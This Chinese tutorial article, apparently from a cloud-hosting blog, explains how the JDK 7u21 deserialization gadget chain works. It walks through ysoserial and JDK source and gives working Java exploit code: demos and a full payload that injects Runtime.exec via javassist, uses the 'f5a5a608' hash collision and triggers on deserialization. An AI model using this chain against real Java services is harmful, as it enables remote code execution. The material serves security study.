您好,登錄后才能下訂單哦!
這篇文章主要介紹“Java 7u21鏈原理是什么”,在日常操作中,相信很多人在Java 7u21鏈原理是什么問題上存在疑惑,小編查閱了各式資料,整理出簡單好用的操作方法,希望對大家解答”Java 7u21鏈原理是什么”的疑惑有所幫助!接下來,請跟著小編一起來學習吧!
jdk7u21 鏈,是一個不需要借助第三方庫就能實現的鏈。影響版本<=7u21
我們先來看看ysonerial里的payload是怎么寫的,然后沿著其思路進行分析
public Object getObject(String command) throws Exception { Object templates = Gadgets.createTemplatesImpl(command); String zeroHashCodeStr = "f5a5a608"; HashMap map = new HashMap(); map.put(zeroHashCodeStr, "foo"); InvocationHandler tempHandler = (InvocationHandler)Reflections.getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler").newInstance(Override.class, map); Reflections.setFieldValue(tempHandler, "type", Templates.class); Templates proxy = (Templates)Gadgets.createProxy(tempHandler, Templates.class, new Class[0]); LinkedHashSet set = new LinkedHashSet(); set.add(templates); set.add(proxy); Reflections.setFieldValue(templates, "_auxClasses", (Object)null); Reflections.setFieldValue(templates, "_class", (Object)null); map.put(zeroHashCodeStr, templates); return set; }
我們看到,ysonerial的payload上來就通過Gadgets.createTemplatesImpl(command) 試圖創建一個TemplatesImpl類。 createTemplatesImpl源碼如下,我們發現創建TemplatesImpl類后又通過反射和javassist做了許多操作。
public static <T> T createTemplatesImpl(String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory) throws Exception { T templates = tplClass.newInstance(); ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(Gadgets.StubTransletPayload.class)); pool.insertClassPath(new ClassClassPath(abstTranslet)); CtClass clazz = pool.get(Gadgets.StubTransletPayload.class.getName()); String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\\"") + "\");"; clazz.makeClassInitializer().insertAfter(cmd); clazz.setName("ysoserial.Pwner" + System.nanoTime()); CtClass superC = pool.get(abstTranslet.getName()); clazz.setSuperclass(superC); byte[] classBytes = clazz.toBytecode(); Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes, ClassFiles.classAsBytes(Gadgets.Foo.class)}); Reflections.setFieldValue(templates, "_name", "Pwnr"); Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); return templates; }
那么為什么要創建這個類并且調用反射和javassist機制呢?先不急,我們看一下TemplatesImpl源碼。
首先TemplatesImpl類中有個方法defineTransletClasses,它的主要代碼如下
private byte[][] _bytecodes = (byte[][])null; private void defineTransletClasses() throws TransformerConfigurationException { if (this._bytecodes == null) { ..... } else { TemplatesImpl.TransletClassLoader loader = (TemplatesImpl.TransletClassLoader)AccessController.doPrivileged(new PrivilegedAction() { public Object run() { return new TemplatesImpl.TransletClassLoader(ObjectFactory.findClassLoader()); } }); try { int classCount = this._bytecodes.length; this._class = new Class[classCount]; for(int i = 0; i < classCount; ++i) { this._class[i] = loader.defineClass(this._bytecodes[i]); \\將_bytecodes中的所有字節通過defineClass轉化為一個類 Class superClass = this._class[i].getSuperclass(); if (superClass.getName().equals(ABSTRACT_TRANSLET)) { this._transletIndex = i; } else { this._auxClasses.put(this._class[i].getName(), this._class[i]); } } }
也就是說通過這個方法可以將_bytecodes數組中的字節還原成一個類,存儲到_class變量中。接下來如果我們能找到調用defineTransletClasses方法并執行了_class[].newinstance() 這樣的的代碼的方法,就能實例化從字節得到的類了,從而就能執行類中的靜態代碼塊和構造函數了! 所以接下來我們需要去尋找這種方法。 通過搜索defineTransletClasses,我們找到了有如下三個方法調用了defineTransletClasses方法:
getTransletInstance getTransletIndex getTransletClasses
其中,getTransletInstance方法是唯一符合“調用了defineTransletClasses且有_class[].newinstance()”的方法,其代碼如下
private Translet getTransletInstance() throws TransformerConfigurationException { ErrorMsg err; try { if (this._name == null) { return null; } else { if (this._class == null) { this.defineTransletClasses(); } AbstractTranslet translet = (AbstractTranslet)this._class[this._transletIndex].newInstance(); \\here translet.postInitialization(); translet.setTemplates(this); translet.setServicesMechnism(this._useServicesMechanism); if (this._auxClasses != null) { translet.setAuxiliaryClasses(this._auxClasses); } return translet; }
那么,getTransletInstance是一個private方法,我們不能直接調用它,在那里能去調用它呢?答案是newTransformer方法
public synchronized Transformer newTransformer() throws TransformerConfigurationException { TransformerImpl transformer = new TransformerImpl(this.getTransletInstance(), this._outputProperties, this._indentNumber, this._tfactory); \\here ········ }
OK.我們找到了觸發7u21鏈的一個核心點了。我們寫個小demo來通過TemplatesImpl實現代碼執行 小demo的實現思路為:通過javassist動態生成一個惡意類(構造方法或者靜態代碼塊有惡意代碼),然后通過反射生成一個TemplatesImpl對象并設置各個變量的值,然后調用一下TemplatesImpl對象的newTransformer方法即可造成代碼執行,代碼如下
public class test{ public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.makeClass("evilclass"); String cmd = "Runtime.getRuntime().exec(\"calc\");"; cc.makeClassInitializer().insertBefore(cmd); \\向靜態代碼塊插入惡意代碼,插入到構造函數也可以 cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); \\需設置此項才能實現newinstance,具體原因請看defineTransletClasses和getTransletInstance源碼 cc.setName("evilClass"); byte[] evilbytes = cc.toBytecode(); byte[][] targetByteCodes = new byte[][]{evilbytes}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); Class clazz = TemplatesImpl.class.newInstance().getClass(); Field[] Fields = clazz.getDeclaredFields(); for (Field Field : Fields) { //遍歷Fields數組 try { Field.setAccessible(true); //對數組中的每一項實現私有訪問 if(Field.getName()=="_bytecodes"){ Field.set(templates,targetByteCodes); } if(Field.getName()=="_class"){ Field.set(templates,null); } if(Field.getName()=="_name"){ Field.set(templates,"abc"); } if(Field.getName()=="_tfactory"){ Field.set(templates,new TemplatesImpl()); } } catch (Exception e) {} } templates.newTransformer(); } }
但僅僅是這樣,肯定是不夠的。
我們繼續看ysoserial源碼可以看到動用了AnnotationInvocationHandler這個東西.這個類原本的作用是作為Annotation 類的動態代理
我們把目光聚焦于invoke方法——動態代理的核心
public Object invoke(Object var1, Method var2, Object[] var3) { String var4 = var2.getName(); Class[] var5 = var2.getParameterTypes(); if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) { return this.equalsImpl(var3[0]); } .......... }
它會檢測傳入的方法中是否有符合 名為equals,只有一個Object類型參數。若是,則調用equalsImpl方法并傳入方法中的參數。 跟進equalsimpl方法
private Boolean equalsImpl(Object var1) { if (var1 == this) { return true; } else if (!this.type.isInstance(var1)) { return false; } else { Method[] var2 = this.getMemberMethods(); int var3 = var2.length; for(int var4 = 0; var4 < var3; ++var4) { Method var5 = var2[var4]; String var6 = var5.getName(); Object var7 = this.memberValues.get(var6); Object var8 = null; AnnotationInvocationHandler var9 = this.asOneOfUs(var1); if (var9 != null) { var8 = var9.memberValues.get(var6); } else { try { var8 = var5.invoke(var1); \\here } catch (InvocationTargetException var11) { return false; } catch (IllegalAccessException var12) { throw new AssertionError(var12); } } if (!memberValueEquals(var7, var8)) { return false; } } return true; } }
發現會invoke 傳入參數中的所有方法。 那么接下來我們就可以按照下面的思路寫一個命令執行小demo:
創建一個包含惡意代碼的TemplatesImpl實例,通過AnnotationInvocationHandler創建任意一個代理對象,然后代理對象調用equals方法傳入參數為惡意TemplatesImpl對象,即可造成惡意代碼執行 看到這里一定一頭霧水,看看demo也許會好一點
public class test{ public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.makeClass("evilclass"); String cmd = "Runtime.getRuntime().exec(\"calc\");"; CtConstructor cons = new CtConstructor(new CtClass[]{},cc); cons.setBody("Runtime.getRuntime().exec(\"calc\");"); cc.addConstructor(cons); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); cc.setName("evilClass"); byte[] evilbytes = cc.toBytecode(); byte[][] targetByteCodes = new byte[][]{evilbytes}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); Class clazz = TemplatesImpl.class.newInstance().getClass(); Field[] Fields = clazz.getDeclaredFields(); for (Field Field : Fields) { //遍歷Fields數組 try { //執行get()方法時需拋出IllegalAccessException錯誤 Field.setAccessible(true); //對數組中的每一項實現私有訪問 if(Field.getName()=="_bytecodes"){ Field.set(templates,targetByteCodes); } if(Field.getName()=="_class"){ Field.set(templates,null); } if(Field.getName()=="_name"){ Field.set(templates,"abc"); } if(Field.getName()=="_tfactory"){ Field.set(templates,new TemplatesImpl()); } } catch (Exception e) {} } //以上代碼生成了惡意TemplatesImpl對象templates Map map = new HashMap(); final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0]; //獲得AnnotationInvocationHandler構造方法,方便獲得它一個實例 ctor.setAccessible(true); InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Templates.class, map); //這里有個問題,為什么要傳入Templates類對象而不是TemplatesImpl Object proxy = Proxy.newProxyInstance(null, Object.class.getInterfaces(), invocationHandler); \\反正創建一個AnnotationInvocationHandler的代理對象就行了,前兩個參數都不用怎么管 proxy.equals(templates); //惡意代碼執行 } }
我們慢慢看看邏輯,在proxy.equals處下斷點,調試 毫無疑問會進入到此處:AnnotationInvocationHandler的invoke方法。
然后參數符合if判斷,調用equalsImpl方法,并傳入參數為惡意TemplatesImpl對象,接下來就是進入反射調用處
遍歷var2變量中的方法,并由我們的惡意對象來執行。
————此處插一下var2變量的來歷
注意此處的getMemberMethods方法,它實質上是通過反射獲得this.type中的所有方法。而this.type是在該對象構造方法中傳入的第一個參數。
getMemberMethods:
構造方法:
————回到正題
由于我們通過反射傳入構造方法的第一個參數是Templates.class,所以它會遍歷Templates類中的所有方法。這個類其實是TemplatesImpl的接口類,它的代碼如下
所以var2中存儲的方法只有兩個,newTransformer和getOutputProperties。 然后當遍歷到newTransformer方法時,就會通過反射調用達到 eviltemplatesImpl.newTransformer() 的效果,從而導致惡意TemplatesImpl對象中的惡意代碼被執行。
這里承接上面說的,為什么初始化AnnotationInvocationHandler對象時傳入的第一個參數(即this.type)是Templates.class,而不是TemplatesImpl.class 誠然,這兩個類對象都有方法newTransformer。但是如果傳入TemplatesImpl.class,在遍歷其中方法并通過反射執行時會出現錯誤:equalsImpl中的反射調用是不傳入參數的
而TemplatesImpl中有許多需要傳入參數才能被正常使用的方法,如果不傳入參數就反射調用就會拋出異常,以至于在遍歷到newTransformer方法前就會拋出異常,從而導致代碼執行不被實現。
僅僅是這樣,也還是不夠的,我們還是得手動調用equals才能導致代碼執行,反序列化點在哪里?
ysoserial的payload中出現了此類。
LinkedHashSet繼承自HashSet類,它的readObject方法也是從HashSet繼承而來的。我們看看readObject方法的構造
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException { var1.defaultReadObject(); int var2 = var1.readInt(); float var3 = var1.readFloat(); this.map = (HashMap)(this instanceof LinkedHashSet ? new LinkedHashMap(var2, var3) : new HashMap(var2, var3)); int var4 = var1.readInt(); for(int var5 = 0; var5 < var4; ++var5) { Object var6 = var1.readObject(); this.map.put(var6, PRESENT); } } }
它的主要亮點在for循環里面:遍歷傳入的序列化對象,將其反序列化后,再傳入put方法
所以我們再來跟進一下map.put方法
public V put(K var1, V var2) { if (var1 == null) { return this.putForNullKey(var2); } else { int var3 = this.hash(var1); int var4 = indexFor(var3, this.table.length); for(HashMap.Entry var5 = this.table[var4]; var5 != null; var5 = var5.next) { Object var6; if (var5.hash == var3 && ((var6 = var5.key) == var1 || var1.equals(var6))) { //here Object var7 = var5.value; var5.value = var2; var5.recordAccess(this); return var7; } } ++this.modCount; this.addEntry(var3, var1, var2, var4); return null; } }
注意我們添加注釋那一行,有一個var1.equals(var6))) 其中var1和var6我們都是可以控制的:var1即傳入的反序列化對象(惡意TemplatesImpl),var6實際上也是我們傳入的反序列化對象(惡意AnnotationInvocationHandler代理對象)。
但是想要執行var1.equals(var6))) 則必須要讓 var5.hash == var3 為true 且 (var6 = var5.key) == var1為false. 怎么做到呢?
注意put方法的第5行,對傳入的反序列化對象調用了hash方法。我們跟進hash方法
final int hash(Object var1) { int var2 = 0; if (this.useAltHashing) { if (var1 instanceof String) { return Hashing.stringHash42((String)var1); } var2 = this.hashSeed; } var2 ^= var1.hashCode(); //here var2 ^= var2 >>> 20 ^ var2 >>> 12; return var2 ^ var2 >>> 7 ^ var2 >>> 4; }
發現會執行傳入的參數對象的hashCode()方法 當我們傳入的參數為惡意AnnotationInvocationHandler代理對象時,會調用代理對象中的invoke方法。對于AnnotationInvocationHandler而言當判斷到執行hashCode方法時,實質上會執行AnnotationInvocationHandler中的hashCodeImpl方法
我們跟進hashCodeImpl
private int hashCodeImpl() { int var1 = 0; Entry var3; for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) { var3 = (Entry)var2.next(); } return var1; } 上面是真實代碼,比較難看,所以借鑒了一下別人對其進行修改后的代碼,方便我們進行分析 private int hashCodeImpl() { int result = 0; // 遍歷 memberValues Iterator itr = this.memberValues.entrySet().iterator(); for( ;itr.hasNext(); ) { Entry entry = (Entry)itr.next(); String key = ((String)entry.getKey()); Object value = entry.getValue(); // 127 * key 的 hashCode,再和 memberValueHashCode(value) 進行異或 result += 127 * key.hashCode() ^ memberValueHashCode(value); } return result; }
這個方法會遍歷this.memberValues屬性(這個屬性實質上就是HashMap內添加的屬性),然后對其中每一項鍵值屬性進行進行位運算并累加
其中memberValueHashCode函數我們也可以跟進一下
發現只要傳入參數不為數組,就調用它的hashCode函數并返回。
我們來梳理一下,怎么才能調用到put方法里的equals觸發代碼執行: payload階段:
建立一個map變量,其key為特殊的一個值:f5a5a608,這個值的hashCode是0,然后值為惡意templatesImpl類,然后以這個map變量為參數建立AnnotationInvocationHandler代理對象。
再向HashMap里放入一個值,鍵為惡意TemplatesImpl對象, 再放入一個值,鍵為惡意AnnotationInvocationHandler對象。 (LinkedHashSet會讓HashMap有序,從而在反序列化的時候能按順序依次從HashMap讀取對象。如果用HashSet,則會在反序列化時報錯)
反序列化階段:
隨后在readObject時,TemplatesImpl先被put方法調用。
然后在put方法里通過hash()方法獲得其hash,并將其錄入到它的hash屬性里,然后寫入到HashMap的存儲隊列里。
然后AnnotationInvocationHandler再被put方法調用
在對其使用hash方法獲得hash時,會因其是一個代理類的緣故在hash函數內部調用hashCode()方法時會調用其代理方法hashCodeImpl。
隨后在hashCodeImpl內部遍歷this.memberValues變量(也就是之前初始化時放入的map變量)
將每一項的key值的hashCode與傳入map vaule值作為參數的memberValueHashCode方法進行異或。 這個memberValueHashCode方法會判斷傳入的值是否為數組,若不是數組則直接返回參數的hashCode()。
因為我們之前初始化代理對象時傳入的是一個鍵為f5a5a608,值為eviltemplates的map,所以以上hash計算最終得到的結果,便是0^(templatesImpl.hashCode()). 也就是templatesImpl.hashCode()。所以也就是說AnnotationInvocationHandler對象作為參數傳入被hash方法執行后的結果,就相當于是hash(eviltemplates)
隨后這個值來到if判斷邏輯,它遍歷之前的值,并將遍歷得到的值賦給var5
上一個值的hash(也就是eviltemplates的hash)與AnnotationInvocationHandler對象的hash(也還是eviltemplates的hash)相同,但是AnnotationInvocationHandler對象與eviltemplates對象并不相同,所以便觸動了equals,代碼執行成功。
縱觀以上三個類,我們可以寫出payload
public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.makeClass("evilclass"); String cmd = "Runtime.getRuntime().exec(\"calc\");"; CtConstructor cons = new CtConstructor(new CtClass[]{},cc); cons.setBody("Runtime.getRuntime().exec(\"calc\");"); cc.addConstructor(cons); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); cc.setName("evilClass"); byte[] evilbytes = cc.toBytecode(); byte[][] targetByteCodes = new byte[][]{evilbytes}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); Class clazz = TemplatesImpl.class.newInstance().getClass(); Field[] Fields = clazz.getDeclaredFields(); for (Field Field : Fields) { //遍歷Fields數組 try { //執行get()方法時需拋出IllegalAccessException錯誤 Field.setAccessible(true); //對數組中的每一項實現私有訪問 if(Field.getName()=="_bytecodes"){ Field.set(templates,targetByteCodes); } if(Field.getName()=="_class"){ Field.set(templates,null); } if(Field.getName()=="_name"){ Field.set(templates,"abc"); } if(Field.getName()=="_tfactory"){ Field.set(templates,new TemplatesImpl()); } } catch (Exception e) {} } Map map = new HashMap(); String magicStr = "f5a5a608"; final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0]; ctor.setAccessible(true); InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Templates.class, map); Object proxy = Proxy.newProxyInstance(null, Object.class.getInterfaces(), invocationHandler); HashSet target = new LinkedHashSet(); target.add(templates); target.add(proxy); //這個map需要在Hashmap put了proxy后再賦值,不然會報錯(我也不知道為什么 map.put(magicStr, templates); // 序列化 ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(filename)); oos.writeObject(target); // 反序列化 ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); ois.readObject();
看一下調用棧
更直觀的調用鏈
LinkedHashSet.readObject() LinkedHashSet.add() ... TemplatesImpl.hashCode() (X) LinkedHashSet.add() ... Proxy(Templates).hashCode() (X) AnnotationInvocationHandler.invoke() (X) AnnotationInvocationHandler.hashCodeImpl() (X) String.hashCode() (0) AnnotationInvocationHandler.memberValueHashCode() (X) TemplatesImpl.hashCode() (X) Proxy(Templates).equals() AnnotationInvocationHandler.invoke() AnnotationInvocationHandler.equalsImpl() Method.invoke() ... // TemplatesImpl.getOutputProperties(),實際測試時會直接調用 newTransformer() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses() ClassLoader.defineClass() Class.newInstance() ... MaliciousClass.<clinit>() ... Runtime.exec()
到此,關于“Java 7u21鏈原理是什么”的學習就結束了,希望能夠解決大家的疑惑。理論與實踐的搭配能更好的幫助大家學習,快去試試吧!若想繼續學習更多相關知識,請繼續關注億速云網站,小編會繼續努力為大家帶來更多實用的文章!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。